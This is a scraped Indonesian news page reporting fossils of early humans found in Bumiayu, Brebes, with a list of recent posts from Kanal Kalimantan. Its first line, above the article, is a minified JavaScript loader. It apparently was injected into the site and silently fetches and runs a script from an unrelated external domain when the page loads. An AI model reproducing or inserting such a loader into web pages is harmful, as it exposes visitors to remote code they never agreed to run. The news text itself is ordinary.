(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kanal Pustaka

Temuan Fosil Manusia Purba di Brebes Bisa Mengubah Teori Sejarah


BREBES, Temuan fosil manusia purba di Kecamatan Bumiayu, Kabupaten Brebes, Jawa Tengah, dapat mengubah teori sejarah sebelumnya yang menyatakan bahwa manusia tertua di Indonesia berasal dari Sangiran, Sragen, Jawa Tengah, yang berasal dari Afrika.

“Itu mengubah teori, pertama out of africa hilang dan kedua yang tertua itu bukan Sangiran pendaratan pertama, tapi ada di Bumiayu, di sini,” kata Arkeolog dari Balai Arkeologi (Balar) Yogyakarta Harry Widianto, Rabu (3/7).

Dilansir tempo.co, fosil yang ditemukan di Sangiran usianya adalah 1,5 juta tahun, sedangkan yang di Bumiayu, kata Harry, usianya 1,8 juta tahun. Keberadaan situs Bumiayu telah menjadi perhatian sejak lama dan menjadi objek penelitian oleh para ahli purbakala sejak 1920-an.

“Keberadaan Homo erectus di Bumiayu sangat memungkinkan. Karena sekitar 2,4 juta tahun lalu, wilayah Bumiayu merupakan pantai timur Pulau Jawa sebelum akhirnya Pulau Jawa terbentuk seluruhnya seperti sekarang,” tutur Harry.

Wilayah Bumiayu sampai dengan Tegal dulunya merupakan pantai timur dari Pulau Jawa. Kemudian muncul pulau, pertama daerah Jawa Barat, kemudian terus naik dan meluas hingga muncul wilayah Jawa Tengah dan Jawa Timur. Sehingga, Harry memastikan bahwa kehidupan purba di Bumiayu lebih tua dibandingkan di sebelah timur.

Temuan fosil manusia purba tersebut berupa tulang bonggol dan rahang serta akar gigi. “Kalau bicara mengenai manusia purba, orientasinya bukan Indonesia, tapi Jawa, Javaman, itu sudah kondang. Nah, ini penemuan 1,8 juta tahun lalu di Bumiayu, di Bumiayu sudah ada dan itu multiregional,” kata Harry.

Selain fosil manusia purba, para peneliti sebelumnya telah menemukan beberapa fosil lain di wilayah Bumiayu dan sekitarnya. Fosil tersebut berupa fosil gajah purba, rusa, banteng dan kerbau.(tmp)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.